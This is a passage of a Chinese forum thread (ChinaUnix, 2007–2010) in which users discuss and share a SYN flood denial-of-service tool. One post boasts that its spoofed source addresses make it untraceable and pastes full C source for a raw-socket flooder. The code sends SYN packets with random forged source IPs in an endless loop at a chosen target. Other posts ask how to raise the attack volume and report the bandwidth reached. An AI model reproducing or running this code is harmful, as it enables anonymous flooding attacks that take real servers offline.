免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
楼主: ssffzz1
打印 上一主题 下一主题

[网络管理] 自己写的多线程synflood工具,大家测试一下速度. [复制链接]

论坛徽章:
0
41 [报告]
发表于 2007-09-19 21:49 |只看该作者
是git-merge吧.

论坛徽章:
0
42 [报告]
发表于 2009-09-30 15:48 |只看该作者
楼主的2.0版本在哪里下载?

论坛徽章:
0
43 [报告]
发表于 2009-10-06 13:00 |只看该作者
下下来看看。。。和最早的那个awl比比

论坛徽章:
0
44 [报告]
发表于 2009-12-04 08:48 |只看该作者
楼主测试过了,不错,但是现在的机器能抗住这种小攻击,能不能加大攻击力度》比如发包量什么地,期待超级本本呵呵谢谢共享!

论坛徽章:
1
数据库技术版块每日发帖之星
日期:2016-06-23 06:20:00
45 [报告]
发表于 2009-12-04 13:14 |只看该作者
我有synflood 脚本 C语言写的 !来源IP全是伪装的 别人根本就不知道是我干的!像DDoS

论坛徽章:
1
数据库技术版块每日发帖之星
日期:2016-06-23 06:20:00
46 [报告]
发表于 2009-12-04 13:22 |只看该作者
牛人看看啊!做成二进制文件 ./main ip port   tcpdump -n host ip 抓一下包 看看刷屏啊
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

unsigned long send_seq, ack_seq, srcport;
char flood = 0;
int ssock, curc, cnt;


typedef struct psheader {  /* rfc 793 tcp pseudo-header */
        unsigned long saddr, daddr;
        char mbz;
        char ptcl;
        unsigned short tcpl;
} Pheader;

static unsigned long int
u32random()
{
        unsigned long int a=421773L;
        unsigned long int b=1711717L;
        unsigned long int m=0xfffffffeL;
        static unsigned long int ret=0x1234L;
        ret=(unsigned long)(a*ret+b)%m;
        return ret;
}

/*
Check Sum
This function is "stealed" from Zakath's program
*/
static unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;

        while (nleft > 1)
          {
                  sum += *w++;
                  nleft -= 2;
          }
        if (nleft == 1)
          {
                  *(u_char *) (&answer) = *(u_char *) w;
                  sum += answer;
          }
        sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
        sum += (sum >> 16);           /* add carry */
        answer = ~sum;                /* truncate to 16 bits */
        return (answer);
}

void
send_it(struct iphdr *ih, struct tcphdr *th)
{
        Pheader ph;
        struct sockaddr_in target;
        char buf[65536];
        int ret;

        ph.saddr=ih->saddr;
        ph.daddr=ih->daddr;
        ph.mbz=0;
        ph.ptcl=IPPROTO_TCP;
        ph.tcpl=htons(sizeof(*th));

        memcpy(buf, &ph, sizeof(ph));
        memcpy(buf+sizeof(ph), th, sizeof(*th));
        memset(buf+sizeof(ph)+sizeof(*th), 0, 4);
        th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+1)&~1);

        memcpy(buf, ih, 4*ih->ihl);
        memcpy(buf+4*ih->ihl, th, sizeof(*th));
        memset(buf+4*ih->ihl+sizeof(*th), 0, 4);

        ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th) + 1) & ~1);
        memcpy(buf, ih, 4*ih->ihl);

        target.sin_family=AF_INET;
        target.sin_port=th->dest;
        target.sin_addr.s_addr=ih->daddr;

        ret=sendto(ssock, buf, 4*ih->ihl + sizeof(*th), 0, (struct sockaddr*)&target, sizeof(target));
        if(ret==-1) {
                perror("send packet";
                exit(1);
        }
}

unsigned long
gogogo(unsigned long src, unsigned long dst, unsigned short port)
{
        struct iphdr ih;
        struct tcphdr th;
        struct timeval tv;

        ih.version=4;
        ih.ihl=5;
        ih.tos=0;
        ih.tot_len=sizeof(ih)+sizeof(th);
        ih.id=u32random();
        ih.frag_off=0;
        ih.ttl=u32random()%200+2;
        ih.protocol=IPPROTO_TCP;
        ih.check=0;
        ih.saddr=src;
        ih.daddr=dst;

        th.source=u32random()%30000+1026;
        th.dest=htons(port);
        th.seq=u32random();
        th.doff=sizeof(th)/4;
        th.ack_seq=0;
        th.res1=0;
        th.fin=0;
        th.syn=1;
        th.rst=0;
        th.psh=0;
        th.ack=0;
        th.urg=0;
        th.window=htons(65535);
        th.check=0;
        th.urg_ptr=0;

        gettimeofday(&tv, 0);

        send_it(&ih, &th);
        while (1) {
                gettimeofday(&tv,NULL);
                if (tv.tv_usec%3==0)
                        break;
        }
}

int
main(int argc, char **argv)
{
        int i;
        unsigned short int port;
        unsigned long int target;
   
        if(argc<3) {
                target=inet_addr("10.0.0.110";
                port=htons(80);
        } else {
                target=inet_addr(argv[1]);
                port=ntohs(atoi(argv[2]));
        }

        port=atoi(argv[2]);
        ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if(ssock==-1) {
                perror("socket";
                exit(1);
        }

        while (1) {
                gogogo(u32random(), target, port);
//              usleep(1000);
        }
}

论坛徽章:
0
47 [报告]
发表于 2010-08-04 12:00 |只看该作者
我下了源码,但是./configure,好像有错误,没能生成Makefile,具体告诉下怎么编译??谢谢

论坛徽章:
0
48 [报告]
发表于 2010-08-04 12:14 |只看该作者
ubuntu 下安装gcc,cpp,g++,搞定。

论坛徽章:
0
49 [报告]
发表于 2010-10-10 23:57 |只看该作者
刚测了一下,还不错,在1000M的网卡下可以达到200Mbps,MAc地址伪装我认为是没有必要的,不知道这个程序现在有没有维护或是有人在升级,重点应放在如何进一步提高效率上。

论坛徽章:
0
50 [报告]
发表于 2010-10-18 10:33 |只看该作者
为什么我装了以后awl -d IP -p PORT,主机没效果的?
awl目录下./configure  make。src下面make install的
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP